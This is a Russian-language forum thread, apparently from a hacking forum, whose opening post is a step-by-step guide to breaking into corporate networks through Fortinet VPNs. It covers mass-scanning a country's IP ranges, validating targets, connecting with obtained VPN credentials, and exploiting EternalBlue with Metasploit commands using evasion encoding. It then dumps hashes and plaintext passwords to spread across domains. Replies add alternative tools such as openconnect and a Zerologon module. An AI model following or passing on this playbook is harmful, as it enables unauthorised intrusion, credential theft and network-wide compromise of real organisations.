LIMB
Вход Регистрация

тема

Как взламывать сетки (Fortinet)

cevazaio · · 4 ответов · 535 просмотров

Дисклеймер

Все что я буду рассказывать в этой статье не должно быть использовано в плохих целях (конечно же ) 

Настройка Окружения

Прежде чем мы начнем, нам нужно настроить наше окружение а именно все что нам понадобится для взлома.
А именно нам понадобится основная машина на которой должен стоять VPN и зашифрованный диск, также две виртуалки: Кали и Винда 10.
Что дальше ? Нам надо установить наши софты с которыми будем работать, на кали устанавливаем Fortinet VPN.deb, и нам понадобится еще impacket, скачать его можно с гитхаба github.com/SecureAuthCorp/impacket .
Все теперь переходим на виртуалку с виндой и устанавливаем Python, Impacket(надо скопировать в C:/) потом от имени админа открываем командную строку в винде и устанавливаем impacket через скрипт setup.py, в папку импакет надо будет скопировать zerologon exploit (cve-2020-1472-exploit) и все остальное по дефолту устанавливаем а софты переносим на рабочий стол,
А нужно будет установить список программ такие как : Metasploit,Mimic,Fortinet VPN,SoftPerfect Network Scanner, powertool,gmer,TOX,NMAP. Bluekeep Sploit.

Откуда брать материал ?

С тем что надо для работы мы разобрались, но откуда брать сам материал для работы ? Для этого мы можем использовать
инструмент Masscan. Идем на ipdeny.com и берем оттуда зоны страны которую мы хотим просканить, и сканируем эти CIDR
зоны на порт 10443,8443,443 это популярные порты Fortinet. Теперь, заходим в Kali и пишем :

git clone https://github.com/7Elements/Fortigate
cd Fortigate
pip3 install -r requirements.txt
fortigate.py -i masscanresults.txt -o validips.txt -t 10 -c y

Теперь надо это запустить и скрипт просканирует на валидность адресса которые ранее насканил masscan, и выведет ввиде списка в файле validips.txt, все мы собрали материал для работы теперь можем двигаться дальше.

Начало

И так начнем, заходим в нашу виртуальную машину под виндой и открываем Fortinet VPN CLient, и нажимаем на Конфигурировать VPN.
Там будет что то типо "Новое подключение VPN" и снизу сами сервера и строки для ввода, копируем хост "127.203.123.12 - типо этого" и вставляем в строки 'имя' и удаленный шлюз, порт в соответсвенную ячейку там все понятно, и нажимаем Сохранить. Далее нам предложат ввести логин и пароль для самого VPN вводим соотвественно и нажимаем соеденить. Теперь вы там увидите диапозон, если там написано
23.26.97.0 - 255.255.255.0  то мы будем писать 23.26.97.0 - 23.26.97.255 , а если там в сканере будет два нуля в конце то пишем вместо них 255.255, Далее заходим в SoftPerfect настройки и там выставляем так как снизу на скринах
 
Спойлер: SoftPerfect
Не удалось прогрузить медиа


Не удалось прогрузить медиа



Не удалось прогрузить медиа


-------------------------------------------------------------------------------------------------------------------------------------------------------------------
Дальше перейдем к настройке аккаунтов, в программе нажимаем Options и credentials manager, и туда мы будем вписывать наши с вами креды. Если у вас платная версия программы то вам будет доступна функция Integration With Nmap, если есть такая то нажимаем и ставим галочку на SMB Eternal Blue. После сканирования вам будет видны столбцы с девайсами и в конце будет написано Vulnerable.

Эксплуатация с Metasploit
Вобще для эксплуатации нам понадобится metasploit и eternal blue о чем мы говорили раньше, поэтому устанавливаем и запускаем, после запуска вписываем команды
setg LHOST адресс нашего VPN о чем мы говорили раньше когда конфигурировали VPN. setg RHOSTS наши уязвимые адресса через запятую.

Дальше 

use exploit/windows/smb/ms17_010_psexec

[B]set payload payload/windows/meterpreter/bind_tcp[/B]
exploit


Жмем enter и если никаких ошибок нету то поздравляю эксплойт сработал успешно, если есть ошибки по типу Acess Denied попробуйте  зашифровать нагрузку. Дальше вписываем команды ниже:

set EnableStageEncoding true
[B]set StageEncoder x86/shikata_ga_nai[/B]
[B]set encoder x86/shikata_ga_nai[/B]
[B]set ExitOnSession false[/B]
[B]set SessionCommunicationTimeout 0[/B]
exploit

Теперь смотрим активные сессии meterptreter через команду sessions. Там могут быть сессии чтобы перейти к одной из них впишите sessions 1, дальше команды getsystem, load kiwi. Теперь командой hashdump получаем список хэшей юзеров и сохраняем в отдельный файл. Дальше мы можем выкачать не зашифрованные пароли из системы командой creds_all, теперь можем расшифровать поулченные хэши md5 дешифратором, также вводим в нашем сканнере выше, креды полученные командой creds_all. Потом нажимаем ок закрываем табло выделяем все адресса и делаем рескан всей сети.

Как понять какие права у нас есть и где ?

Если у вас есть папки с красными отметками везде в каждом домене то тогда у вас есть права админа везде и вы можете делать все что угодно там. Если же нет то у вас в этом домене только базовые права, собственно как и обычно бывает.



Конец
Ну вот и все я рассказал базы как взламывать сетки и надеюсь вам все было понятно, скоро выйдет вторая часть но она уже будет про Zerologon. Всем удачи !
👍52 🔥14 😢12 💯14
Переписанный мануал бастера?
👍1
ОтветOneLife

Переписанный мануал бастера?

по видимому да.
👍2
Все делается гараздо проще и просто из под кали (openconnect --protocol=fortinet) без кучи виртуалок, во вторых зерологин (nxc smb -M zerologon) пробивает очень древние пк которые не во всех сетях есть, у меня на последней сети тупо все вин11 (Windows 11 / Server 2025 Build 26100) были да еще и  патчи стоят все. В третьих шикато енкодер настолько древний и не полиморфный что создает еще больше детектов. 

x86/shikata_ga_nai             Polymorphic XOR Additive Feedback Encoder
он "типа" полиморфный но функция декода НЕ полиморфная. Почитай сорц: /usr/share/metasploit-framework/modules/encoders/x86/shikata_ga_nai.rb
👍1
Тема истерта до дыр, да и слишком сложное решение, как по мне

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.